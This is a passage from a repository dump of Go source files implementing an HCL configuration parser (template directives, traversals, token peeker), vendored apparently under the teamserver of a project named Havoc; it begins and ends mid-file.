templateEndIf:\n                endifRange = end.SrcRange\n                break Token\n\n            default:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Unexpected %s directive\", end.Name()),\n                    Detail: fmt.Sprintf(\n                        \"Expecting an endif directive for the if started at %s.\",\n                        openIf.SrcRange,\n                    ),\n                    Subject: &end.SrcRange,\n                })\n            }\n\n            return errPlaceholderExpr(end.SrcRange), diags\n        }\n\n        expr, exprDiags := p.parseExpr()\n        diags = append(diags, exprDiags...)\n        *currentExprs = append(*currentExprs, expr)\n    }\n\n    if len(ifExprs) == 0 {\n        ifExprs = append(ifExprs, &LiteralValueExpr{\n            Val: cty.StringVal(\"\"),\n            SrcRange: hcl.Range{\n                Filename: openIf.SrcRange.Filename,\n                Start:    openIf.SrcRange.End,\n                End:      openIf.SrcRange.End,\n            },\n        })\n    }\n    if len(elseExprs) == 0 {\n        elseExprs = append(elseExprs, &LiteralValueExpr{\n            Val: cty.StringVal(\"\"),\n            SrcRange: hcl.Range{\n                Filename: endifRange.Filename,\n                Start:    endifRange.Start,\n                End:      endifRange.Start,\n            },\n        })\n    }\n\n    trueExpr := &TemplateExpr{\n        Parts:    ifExprs,\n        SrcRange: hcl.RangeBetween(ifExprs[0].Range(), ifExprs[len(ifExprs)-1].Range()),\n    }\n    falseExpr := &TemplateExpr{\n        Parts:    elseExprs,\n        SrcRange: hcl.RangeBetween(elseExprs[0].Range(), elseExprs[len(elseExprs)-1].Range()),\n    }\n\n    return &ConditionalExpr{\n        Condition:   openIf.CondExpr,\n        TrueResult:  trueExpr,\n        FalseResult: falseExpr,\n\n        SrcRange: hcl.RangeBetween(openIf.SrcRange, endifRange),\n    }, diags\n}\n\nfunc (p *templateParser) parseFor() (Expression, hcl.Diagnostics) {\n    open := p.Read()\n    openFor, isFor := open.(*templateForToken)\n    if !isFor {\n        // should never happen if caller is behaving\n        panic(\"parseFor called with peeker not pointing at for token\")\n    }\n\n    var contentExprs []Expression\n    var diags hcl.Diagnostics\n    var endforRange hcl.Range\n\nToken:\n    for {\n        next := p.Peek()\n        if end, isEnd := next.(*templateEndToken); isEnd {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unexpected end of template\",\n                Detail: fmt.Sprintf(\n                    \"The for directive at %s is missing its corresponding endfor directive.\",\n                    openFor.SrcRange,\n                ),\n                Subject: &end.SrcRange,\n            })\n            return errPlaceholderExpr(end.SrcRange), diags\n        }\n        if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd {\n            p.Read() // eat end directive\n\n            switch end.Type {\n\n            case templateElse:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Unexpected else directive\",\n                    Detail:   \"An else clause is not expected for a for directive.\",\n                    Subject:  &end.SrcRange,\n                })\n\n            case templateEndFor:\n                endforRange = end.SrcRange\n                break Token\n\n            default:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Unexpected %s directive\", end.Name()),\n                    Detail: fmt.Sprintf(\n                        \"Expecting an endfor directive corresponding to the for directive at %s.\",\n                        openFor.SrcRange,\n                    ),\n                    Subject: &end.SrcRange,\n                })\n            }\n\n            return errPlaceholderExpr(end.SrcRange), diags\n        }\n\n        expr, exprDiags := p.parseExpr()\n        diags = append(diags, exprDiags...)\n        contentExprs = append(contentExprs, expr)\n    }\n\n    if len(contentExprs) == 0 {\n        contentExprs = append(contentExprs, &LiteralValueExpr{\n            Val: cty.StringVal(\"\"),\n            SrcRange: hcl.Range{\n                Filename: openFor.SrcRange.Filename,\n                Start:    openFor.SrcRange.End,\n                End:      openFor.SrcRange.End,\n            },\n        })\n    }\n\n    contentExpr := &TemplateExpr{\n        Parts:    contentExprs,\n        SrcRange: hcl.RangeBetween(contentExprs[0].Range(), contentExprs[len(contentExprs)-1].Range()),\n    }\n\n    forExpr := &ForExpr{\n        KeyVar: openFor.KeyVar,\n        ValVar: openFor.ValVar,\n\n        CollExpr: openFor.CollExpr,\n        ValExpr:  contentExpr,\n\n        SrcRange:   hcl.RangeBetween(openFor.SrcRange, endforRange),\n        OpenRange:  openFor.SrcRange,\n        CloseRange: endforRange,\n    }\n\n    return &TemplateJoinExpr{\n        Tuple: forExpr,\n    }, diags\n}\n\nfunc (p *templateParser) Peek() templateToken {\n    return p.Tokens[p.pos]\n}\n\nfunc (p *templateParser) Read() templateToken {\n    ret := p.Peek()\n    if _, end := ret.(*templateEndToken); !end {\n        p.pos++\n    }\n    return ret\n}\n\n// parseTemplateParts produces a flat sequence of \"template tokens\", which are\n// either literal values (with any \"trimming\" already applied), interpolation\n// sequences, or control flow markers.\n//\n// A further pass is required on the result to turn it into an AST.\nfunc (p *parser) parseTemplateParts(end TokenType) (*templateParts, hcl.Diagnostics) {\n    var parts []templateToken\n    var diags hcl.Diagnostics\n\n    startRange := p.NextRange()\n    ltrimNext := false\n    nextCanTrimPrev := false\n    var endRange hcl.Range\n\nToken:\n    for {\n        next := p.Read()\n        if next.Type == end {\n            // all done!\n            endRange = next.Range\n            break\n        }\n\n        ltrim := ltrimNext\n        ltrimNext = false\n        canTrimPrev := nextCanTrimPrev\n        nextCanTrimPrev = false\n\n        switch next.Type {\n        case TokenStringLit, TokenQuotedLit:\n            str, strDiags := ParseStringLiteralToken(next)\n            diags = append(diags, strDiags...)\n\n            if ltrim {\n                str = strings.TrimLeftFunc(str, unicode.IsSpace)\n            }\n\n            parts = append(parts, &templateLiteralToken{\n                Val:      str,\n                SrcRange: next.Range,\n            })\n            nextCanTrimPrev = true\n\n        case TokenTemplateInterp:\n            // if the opener is ${~ then we want to eat any trailing whitespace\n            // in the preceding literal token, assuming it is indeed a literal\n            // token.\n            if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 {\n                prevExpr := parts[len(parts)-1]\n                if lexpr, ok := prevExpr.(*templateLiteralToken); ok {\n                    lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace)\n                }\n            }\n\n            p.PushIncludeNewlines(false)\n            expr, exprDiags := p.ParseExpression()\n            diags = append(diags, exprDiags...)\n            close := p.Peek()\n            if close.Type != TokenTemplateSeqEnd {\n                if !p.recovery {\n                    switch close.Type {\n                    case TokenColon:\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Extra characters after interpolation expression\",\n                            Detail:   \"Template interpolation doesn't expect a colon at this location. Did you intend this to be a literal sequence to be processed as part of another language? If so, you can escape it by starting with \\\"$${\\\" instead of just \\\"${\\\".\",\n                            Subject:  &close.Range,\n                            Context:  hcl.RangeBetween(startRange, close.Range).Ptr(),\n                        })\n                    default:\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Extra characters after interpolation expression\",\n                            Detail:   \"Expected a closing brace to end the interpolation expression, but found extra characters.\\n\\nThis can happen when you include interpolation syntax for another language, such as shell scripting, but forget to escape the interpolation start token. If this is an embedded sequence for another language, escape it by starting with \\\"$${\\\" instead of just \\\"${\\\".\",\n                            Subject:  &close.Range,\n                            Context:  hcl.RangeBetween(startRange, close.Range).Ptr(),\n                        })\n                    }\n                }\n                p.recover(TokenTemplateSeqEnd)\n            } else {\n                p.Read() // eat closing brace\n\n                // If the closer is ~} then we want to eat any leading\n                // whitespace on the next token, if it turns out to be a\n                // literal token.\n                if len(close.Bytes) == 2 && close.Bytes[0] == '~' {\n                    ltrimNext = true\n                }\n            }\n            p.PopIncludeNewlines()\n            parts = append(parts, &templateInterpToken{\n                Expr:     expr,\n                SrcRange: hcl.RangeBetween(next.Range, close.Range),\n            })\n\n        case TokenTemplateControl:\n            // if the opener is %{~ then we want to eat any trailing whitespace\n            // in the preceding literal token, assuming it is indeed a literal\n            // token.\n            if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 {\n                prevExpr := parts[len(parts)-1]\n                if lexpr, ok := prevExpr.(*templateLiteralToken); ok {\n                    lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace)\n                }\n            }\n            p.PushIncludeNewlines(false)\n\n            kw := p.Peek()\n            if kw.Type != TokenIdent {\n                if !p.recovery {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid template directive\",\n                        Detail:   \"A template directive keyword (\\\"if\\\", \\\"for\\\", etc) is expected at the beginning of a %{ sequence.\",\n                        Subject:  &kw.Range,\n                        Context:  hcl.RangeBetween(next.Range, kw.Range).Ptr(),\n                    })\n                }\n                p.recover(TokenTemplateSeqEnd)\n                p.PopIncludeNewlines()\n                continue Token\n            }\n            p.Read() // eat keyword token\n\n            switch {\n\n            case ifKeyword.TokenMatches(kw):\n                condExpr, exprDiags := p.ParseExpression()\n                diags = append(diags, exprDiags...)\n                parts = append(parts, &templateIfToken{\n                    CondExpr: condExpr,\n                    SrcRange: hcl.RangeBetween(next.Range, p.NextRange()),\n                })\n\n            case elseKeyword.TokenMatches(kw):\n                parts = append(parts, &templateEndCtrlToken{\n                    Type:     templateElse,\n                    SrcRange: hcl.RangeBetween(next.Range, p.NextRange()),\n                })\n\n            case endifKeyword.TokenMatches(kw):\n                parts = append(parts, &templateEndCtrlToken{\n                    Type:     templateEndIf,\n                    SrcRange: hcl.RangeBetween(next.Range, p.NextRange()),\n                })\n\n            case forKeyword.TokenMatches(kw):\n                var keyName, valName string\n                if p.Peek().Type != TokenIdent {\n                    if !p.recovery {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Invalid 'for' directive\",\n                            Detail:   \"For directive requires variable name after 'for'.\",\n                            Subject:  p.Peek().Range.Ptr(),\n                        })\n                    }\n                    p.recover(TokenTemplateSeqEnd)\n                    p.PopIncludeNewlines()\n                    continue Token\n                }\n\n                valName = string(p.Read().Bytes)\n\n                if p.Peek().Type == TokenComma {\n                    // What we just read was actually the key, then.\n                    keyName = valName\n                    p.Read() // eat comma\n\n                    if p.Peek().Type != TokenIdent {\n                        if !p.recovery {\n                            diags = append(diags, &hcl.Diagnostic{\n                                Severity: hcl.DiagError,\n                                Summary:  \"Invalid 'for' directive\",\n                                Detail:   \"For directive requires value variable name after comma.\",\n                                Subject:  p.Peek().Range.Ptr(),\n                            })\n                        }\n                        p.recover(TokenTemplateSeqEnd)\n                        p.PopIncludeNewlines()\n                        continue Token\n                    }\n\n                    valName = string(p.Read().Bytes)\n                }\n\n                if !inKeyword.TokenMatches(p.Peek()) {\n                    if !p.recovery {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Invalid 'for' directive\",\n                            Detail:   \"For directive requires 'in' keyword after names.\",\n                            Subject:  p.Peek().Range.Ptr(),\n                        })\n                    }\n                    p.recover(TokenTemplateSeqEnd)\n                    p.PopIncludeNewlines()\n                    continue Token\n                }\n                p.Read() // eat 'in' keyword\n\n                collExpr, collDiags := p.ParseExpression()\n                diags = append(diags, collDiags...)\n                parts = append(parts, &templateForToken{\n                    KeyVar:   keyName,\n                    ValVar:   valName,\n                    CollExpr: collExpr,\n\n                    SrcRange: hcl.RangeBetween(next.Range, p.NextRange()),\n                })\n\n            case endforKeyword.TokenMatches(kw):\n                parts = append(parts, &templateEndCtrlToken{\n                    Type:     templateEndFor,\n                    SrcRange: hcl.RangeBetween(next.Range, p.NextRange()),\n                })\n\n            default:\n                if !p.recovery {\n                    suggestions := []string{\"if\", \"for\", \"else\", \"endif\", \"endfor\"}\n                    given := string(kw.Bytes)\n                    suggestion := nameSuggestion(given, suggestions)\n                    if suggestion != \"\" {\n                        suggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n                    }\n\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid template control keyword\",\n                        Detail:   fmt.Sprintf(\"%q is not a valid template control keyword.%s\", given, suggestion),\n                        Subject:  &kw.Range,\n                        Context:  hcl.RangeBetween(next.Range, kw.Range).Ptr(),\n                    })\n                }\n                p.recover(TokenTemplateSeqEnd)\n                p.PopIncludeNewlines()\n                continue Token\n\n            }\n\n            close := p.Peek()\n            if close.Type != TokenTemplateSeqEnd {\n                if !p.recovery {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  fmt.Sprintf(\"Extra characters in %s marker\", kw.Bytes),\n                        Detail:   \"Expected a closing brace to end the sequence, but found extra characters.\",\n                        Subject:  &close.Range,\n                        Context:  hcl.RangeBetween(startRange, close.Range).Ptr(),\n                    })\n                }\n                p.recover(TokenTemplateSeqEnd)\n            } else {\n                p.Read() // eat closing brace\n\n                // If the closer is ~} then we want to eat any leading\n                // whitespace on the next token, if it turns out to be a\n                // literal token.\n                if len(close.Bytes) == 2 && close.Bytes[0] == '~' {\n                    ltrimNext = true\n                }\n            }\n            p.PopIncludeNewlines()\n\n        default:\n            if !p.recovery {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Unterminated template string\",\n                    Detail:   \"No closing marker was found for the string.\",\n                    Subject:  &next.Range,\n                    Context:  hcl.RangeBetween(startRange, next.Range).Ptr(),\n                })\n            }\n            final := p.recover(end)\n            endRange = final.Range\n            break Token\n        }\n    }\n\n    if len(parts) == 0 {\n        // If a sequence has no content, we'll treat it as if it had an\n        // empty string in it because that's what the user probably means\n        // if they write \"\" in configuration.\n        parts = append(parts, &templateLiteralToken{\n            Val: \"\",\n            SrcRange: hcl.Range{\n                // Range is the zero-character span immediately after the\n                // opening quote.\n                Filename: startRange.Filename,\n                Start:    startRange.End,\n                End:      startRange.End,\n            },\n        })\n    }\n\n    // Always end with an end token, so the parser can produce diagnostics\n    // about unclosed items with proper position information.\n    parts = append(parts, &templateEndToken{\n        SrcRange: endRange,\n    })\n\n    ret := &templateParts{\n        Tokens:   parts,\n        SrcRange: hcl.RangeBetween(startRange, endRange),\n    }\n\n    return ret, diags\n}\n\n// flushHeredocTemplateParts modifies in-place the line-leading literal strings\n// to apply the flush heredoc processing rule: find the line with the smallest\n// number of whitespace characters as prefix and then trim that number of\n// characters from all of the lines.\n//\n// This rule is applied to static tokens rather than to the rendered result,\n// so interpolating a string with leading whitespace cannot affect the chosen\n// prefix length.\nfunc flushHeredocTemplateParts(parts *templateParts) {\n    if len(parts.Tokens) == 0 {\n        // Nothing to do\n        return\n    }\n\n    const maxInt = int((^uint(0)) >> 1)\n\n    minSpaces := maxInt\n    newline := true\n    var adjust []*templateLiteralToken\n    for _, ttok := range parts.Tokens {\n        if newline {\n            newline = false\n            var spaces int\n            if lit, ok := ttok.(*templateLiteralToken); ok {\n                orig := lit.Val\n                trimmed := strings.TrimLeftFunc(orig, unicode.IsSpace)\n                // If a token is entirely spaces and ends with a newline\n                // then it's a \"blank line\" and thus not considered for\n                // space-prefix-counting purposes.\n                if len(trimmed) == 0 && strings.HasSuffix(orig, \"\\n\") {\n                    spaces = maxInt\n                } else {\n                    spaceBytes := len(lit.Val) - len(trimmed)\n                    spaces, _ = textseg.TokenCount([]byte(orig[:spaceBytes]), textseg.ScanGraphemeClusters)\n                    adjust = append(adjust, lit)\n                }\n            } else if _, ok := ttok.(*templateEndToken); ok {\n                break // don't process the end token since it never has spaces before it\n            }\n            if spaces < minSpaces {\n                minSpaces = spaces\n            }\n        }\n        if lit, ok := ttok.(*templateLiteralToken); ok {\n            if strings.HasSuffix(lit.Val, \"\\n\") {\n                newline = true // The following token, if any, begins a new line\n            }\n        }\n    }\n\n    for _, lit := range adjust {\n        // Since we want to count space _characters_ rather than space _bytes_,\n        // we can't just do a straightforward slice operation here and instead\n        // need to hunt for the split point with a scanner.\n        valBytes := []byte(lit.Val)\n        spaceByteCount := 0\n        for i := 0; i < minSpaces; i++ {\n            adv, _, _ := textseg.ScanGraphemeClusters(valBytes, true)\n            spaceByteCount += adv\n            valBytes = valBytes[adv:]\n        }\n        lit.Val = lit.Val[spaceByteCount:]\n        lit.SrcRange.Start.Column += minSpaces\n        lit.SrcRange.Start.Byte += spaceByteCount\n    }\n}\n\ntype templateParts struct {\n    Tokens   []templateToken\n    SrcRange hcl.Range\n}\n\n// templateToken is a higher-level token that represents a single atom within\n// the template language. Our template parsing first raises the raw token\n// stream to a sequence of templateToken, and then transforms the result into\n// an expression tree.\ntype templateToken interface {\n    templateToken() templateToken\n}\n\ntype templateLiteralToken struct {\n    Val      string\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\ntype templateInterpToken struct {\n    Expr     Expression\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\ntype templateIfToken struct {\n    CondExpr Expression\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\ntype templateForToken struct {\n    KeyVar   string // empty if ignoring key\n    ValVar   string\n    CollExpr Expression\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\ntype templateEndCtrlType int\n\nconst (\n    templateEndIf templateEndCtrlType = iota\n    templateElse\n    templateEndFor\n)\n\ntype templateEndCtrlToken struct {\n    Type     templateEndCtrlType\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\nfunc (t *templateEndCtrlToken) Name() string {\n    switch t.Type {\n    case templateEndIf:\n        return \"endif\"\n    case templateElse:\n        return \"else\"\n    case templateEndFor:\n        return \"endfor\"\n    default:\n        // should never happen\n        panic(\"invalid templateEndCtrlType\")\n    }\n}\n\ntype templateEndToken struct {\n    SrcRange hcl.Range\n    isTemplateToken\n}\n\ntype isTemplateToken [0]int\n\nfunc (t isTemplateToken) templateToken() templateToken {\n    return t\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/parser_traversal.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// ParseTraversalAbs parses an absolute traversal that is assumed to consume\n// all of the remaining tokens in the peeker. The usual parser recovery\n// behavior is not supported here because traversals are not expected to\n// be parsed as part of a larger program.\nfunc (p *parser) ParseTraversalAbs() (hcl.Traversal, hcl.Diagnostics) {\n    var ret hcl.Traversal\n    var diags hcl.Diagnostics\n\n    // Absolute traversal must always begin with a variable name\n    varTok := p.Read()\n    if varTok.Type != TokenIdent {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Variable name required\",\n            Detail:   \"Must begin with a variable name.\",\n            Subject:  &varTok.Range,\n        })\n        return ret, diags\n    }\n\n    varName := string(varTok.Bytes)\n    ret = append(ret, hcl.TraverseRoot{\n        Name:     varName,\n        SrcRange: varTok.Range,\n    })\n\n    for {\n        next := p.Peek()\n\n        if next.Type == TokenEOF {\n            return ret, diags\n        }\n\n        switch next.Type {\n        case TokenDot:\n            // Attribute access\n            dot := p.Read() // eat dot\n            nameTok := p.Read()\n            if nameTok.Type != TokenIdent {\n                if nameTok.Type == TokenStar {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Attribute name required\",\n                        Detail:   \"Splat expressions (.*) may not be used here.\",\n                        Subject:  &nameTok.Range,\n                        Context:  hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(),\n                    })\n                } else {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Attribute name required\",\n                        Detail:   \"Dot must be followed by attribute name.\",\n                        Subject:  &nameTok.Range,\n                        Context:  hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(),\n                    })\n                }\n                return ret, diags\n            }\n\n            attrName := string(nameTok.Bytes)\n            ret = append(ret, hcl.TraverseAttr{\n                Name:     attrName,\n                SrcRange: hcl.RangeBetween(dot.Range, nameTok.Range),\n            })\n        case TokenOBrack:\n            // Index\n            open := p.Read() // eat open bracket\n            next := p.Peek()\n\n            switch next.Type {\n            case TokenNumberLit:\n                tok := p.Read() // eat number\n                numVal, numDiags := p.numberLitValue(tok)\n                diags = append(diags, numDiags...)\n\n                close := p.Read()\n                if close.Type != TokenCBrack {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Unclosed index brackets\",\n                        Detail:   \"Index key must be followed by a closing bracket.\",\n                        Subject:  &close.Range,\n                        Context:  hcl.RangeBetween(open.Range, close.Range).Ptr(),\n                    })\n                }\n\n                ret = append(ret, hcl.TraverseIndex{\n                    Key:      numVal,\n                    SrcRange: hcl.RangeBetween(open.Range, close.Range),\n                })\n\n                if diags.HasErrors() {\n                    return ret, diags\n                }\n\n            case TokenOQuote:\n                str, _, strDiags := p.parseQuotedStringLiteral()\n                diags = append(diags, strDiags...)\n\n                close := p.Read()\n                if close.Type != TokenCBrack {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Unclosed index brackets\",\n                        Detail:   \"Index key must be followed by a closing bracket.\",\n                        Subject:  &close.Range,\n                        Context:  hcl.RangeBetween(open.Range, close.Range).Ptr(),\n                    })\n                }\n\n                ret = append(ret, hcl.TraverseIndex{\n                    Key:      cty.StringVal(str),\n                    SrcRange: hcl.RangeBetween(open.Range, close.Range),\n                })\n\n                if diags.HasErrors() {\n                    return ret, diags\n                }\n\n            default:\n                if next.Type == TokenStar {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Attribute name required\",\n                        Detail:   \"Splat expressions ([*]) may not be used here.\",\n                        Subject:  &next.Range,\n                        Context:  hcl.RangeBetween(varTok.Range, next.Range).Ptr(),\n                    })\n                } else {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Index value required\",\n                        Detail:   \"Index brackets must contain either a literal number or a literal string.\",\n                        Subject:  &next.Range,\n                        Context:  hcl.RangeBetween(varTok.Range, next.Range).Ptr(),\n                    })\n                }\n                return ret, diags\n            }\n\n        default:\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid character\",\n                Detail:   \"Expected an attribute access or an index operator.\",\n                Subject:  &next.Range,\n                Context:  hcl.RangeBetween(varTok.Range, next.Range).Ptr(),\n            })\n            return ret, diags\n        }\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/peeker.go",
    "content": "package hclsyntax\n\nimport (\n    \"bytes\"\n    \"fmt\"\n    \"path/filepath\"\n    \"runtime\"\n    \"strings\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// This is set to true at init() time in tests, to enable more useful output\n// if a stack discipline error is detected. It should not be enabled in\n// normal mode since there is a performance penalty from accessing the\n// runtime stack to produce the traces, but could be temporarily set to\n// true for debugging if desired.\nvar tracePeekerNewlinesStack = false\n\ntype peeker struct {\n    Tokens    Tokens\n    NextIndex int\n\n    IncludeComments      bool\n    IncludeNewlinesStack []bool\n\n    // used only when tracePeekerNewlinesStack is set\n    newlineStackChanges []peekerNewlineStackChange\n}\n\n// for use in debugging the stack usage only\ntype peekerNewlineStackChange struct {\n    Pushing bool // if false, then popping\n    Frame   runtime.Frame\n    Include bool\n}\n\nfunc newPeeker(tokens Tokens, includeComments bool) *peeker {\n    return &peeker{\n        Tokens:          tokens,\n        IncludeComments: includeComments,\n\n        IncludeNewlinesStack: []bool{true},\n    }\n}\n\nfunc (p *peeker) Peek() Token {\n    ret, _ := p.nextToken()\n    return ret\n}\n\nfunc (p *peeker) Read() Token {\n    ret, nextIdx := p.nextToken()\n    p.NextIndex = nextIdx\n    return ret\n}\n\nfunc (p *peeker) NextRange() hcl.Range {\n    return p.Peek().Range\n}\n\nfunc (p *peeker) PrevRange() hcl.Range {\n    if p.NextIndex == 0 {\n        return p.NextRange()\n    }\n\n    return p.Tokens[p.NextIndex-1].Range\n}\n\nfunc (p *peeker) nextToken() (Token, int) {\n    for i := p.NextIndex; i < len(p.Tokens); i++ {\n        tok := p.Tokens[i]\n        switch tok.Type {\n        case TokenComment:\n            if !p.IncludeComments {\n                // Single-line comment tokens, starting with # or //, absorb\n                // the trailing newline that terminates them as part of their\n                // bytes. When we're filtering out comments, we must as a\n                // special case transform these to newline tokens in order\n                // to properly parse newline-terminated block items.\n\n                if p.includingNewlines() {\n                    if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\\n' {\n                        fakeNewline := Token{\n                            Type:  TokenNewline,\n                            Bytes: tok.Bytes[len(tok.Bytes)-1 : len(tok.Bytes)],\n\n                            // We use the whole token range as the newline\n                            // range, even though that's a little... weird,\n                            // because otherwise we'd need to go count\n                            // characters again in order to figure out the\n                            // column of the newline, and that complexity\n                            // isn't justified when ranges of newlines are\n                            // so rarely printed anyway.\n                            Range: tok.Range,\n                        }\n                        return fakeNewline, i + 1\n                    }\n                }\n\n                continue\n            }\n        case TokenNewline:\n            if !p.includingNewlines() {\n                continue\n            }\n        }\n\n        return tok, i + 1\n    }\n\n    // if we fall out here then we'll return the EOF token, and leave\n    // our index pointed off the end of the array so we'll keep\n    // returning EOF in future too.\n    return p.Tokens[len(p.Tokens)-1], len(p.Tokens)\n}\n\nfunc (p *peeker) includingNewlines() bool {\n    return p.IncludeNewlinesStack[len(p.IncludeNewlinesStack)-1]\n}\n\nfunc (p *peeker) PushIncludeNewlines(include bool) {\n    if tracePeekerNewlinesStack {\n        // Record who called us so that we can more easily track down any\n        // mismanagement of the stack in the parser.\n        callers := []uintptr{0}\n        runtime.Callers(2, callers)\n        frames := runtime.CallersFrames(callers)\n        frame, _ := frames.Next()\n        p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{\n            true, frame, include,\n        })\n    }\n\n    p.IncludeNewlinesStack = append(p.IncludeNewlinesStack, include)\n}\n\nfunc (p *peeker) PopIncludeNewlines() bool {\n    stack := p.IncludeNewlinesStack\n    remain, ret := stack[:len(stack)-1], stack[len(stack)-1]\n    p.IncludeNewlinesStack = remain\n\n    if tracePeekerNewlinesStack {\n        // Record who called us so that we can more easily track down any\n        // mismanagement of the stack in the parser.\n        callers := []uintptr{0}\n        runtime.Callers(2, callers)\n        frames := runtime.CallersFrames(callers)\n        frame, _ := frames.Next()\n        p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{\n            false, frame, ret,\n        })\n    }\n\n    return ret\n}\n\n// AssertEmptyNewlinesStack checks if the IncludeNewlinesStack is empty, doing\n// panicking if it is not. This can be used to catch stack mismanagement that\n// might otherwise just cause confusing downstream errors.\n//\n// This function is a no-op if the stack is empty when called.\n//\n// If newlines stack tracing is enabled by setting the global variable\n// tracePeekerNewlinesStack at init time, a full log of all of the push/pop\n// calls will be produced to help identify which caller in the parser is\n// misbehaving.\nfunc (p *peeker) AssertEmptyIncludeNewlinesStack() {\n    if len(p.IncludeNewlinesStack) != 1 {\n        // Should never happen; indicates mismanagement of the stack inside\n        // the parser.\n        if p.newlineStackChanges != nil { // only if traceNewlinesStack is enabled above\n            panic(fmt.Errorf(\n                \"non-empty IncludeNewlinesStack after parse with %d calls unaccounted for:\\n%s\",\n                len(p.IncludeNewlinesStack)-1,\n                formatPeekerNewlineStackChanges(p.newlineStackChanges),\n            ))\n        } else {\n            panic(fmt.Errorf(\"non-empty IncludeNewlinesStack after parse: %#v\", p.IncludeNewlinesStack))\n        }\n    }\n}\n\nfunc formatPeekerNewlineStackChanges(changes []peekerNewlineStackChange) string {\n    indent := 0\n    var buf bytes.Buffer\n    for _, change := range changes {\n        funcName := change.Frame.Function\n        if idx := strings.LastIndexByte(funcName, '.'); idx != -1 {\n            funcName = funcName[idx+1:]\n        }\n        filename := change.Frame.File\n        if idx := strings.LastIndexByte(filename, filepath.Separator); idx != -1 {\n            filename = filename[idx+1:]\n        }\n\n        switch change.Pushing {\n\n        case true:\n            buf.WriteString(strings.Repeat(\"    \", indent))\n            fmt.Fprintf(&buf, \"PUSH %#v (%s at %s:%d)\\n\", change.Include, funcName, filename, change.Frame.Line)\n            indent++\n\n        case false:\n            indent--\n            buf.WriteString(strings.Repeat(\"    \", indent))\n            fmt.Fprintf(&buf, \"POP %#v (%s at %s:%d)\\n\", change.Include, funcName, filename, change.Frame.Line)\n\n        }\n    }\n    return buf.String()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/public.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// ParseConfig parses the given buffer as a whole HCL config file, returning\n// a *hcl.File representing its contents. If HasErrors called on the returned\n// diagnostics returns true, the returned body is likely to be incomplete\n// and should therefore be used with care.\n//\n// The body in the returned file has dynamic type *hclsyntax.Body, so callers\n// may freely type-assert this to get access to the full hclsyntax API in\n// situations where detailed access is required. However, most common use-cases\n// should be served using the hcl.Body interface to ensure compatibility with\n// other configurationg syntaxes, such as JSON.\nfunc ParseConfig(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) {\n    tokens, diags := LexConfig(src, filename, start)\n    peeker := newPeeker(tokens, false)\n    parser := &parser{peeker: peeker}\n    body, parseDiags := parser.ParseBody(TokenEOF)\n    diags = append(diags, parseDiags...)\n\n    // Panic if the parser uses incorrect stack discipline with the peeker's\n    // newlines stack, since otherwise it will produce confusing downstream\n    // errors.\n    peeker.AssertEmptyIncludeNewlinesStack()\n\n    return &hcl.File{\n        Body:  body,\n        Bytes: src,\n\n        Nav: navigation{\n            root: body,\n        },\n    }, diags\n}\n\n// ParseExpression parses the given buffer as a standalone HCL expression,\n// returning it as an instance of Expression.\nfunc ParseExpression(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) 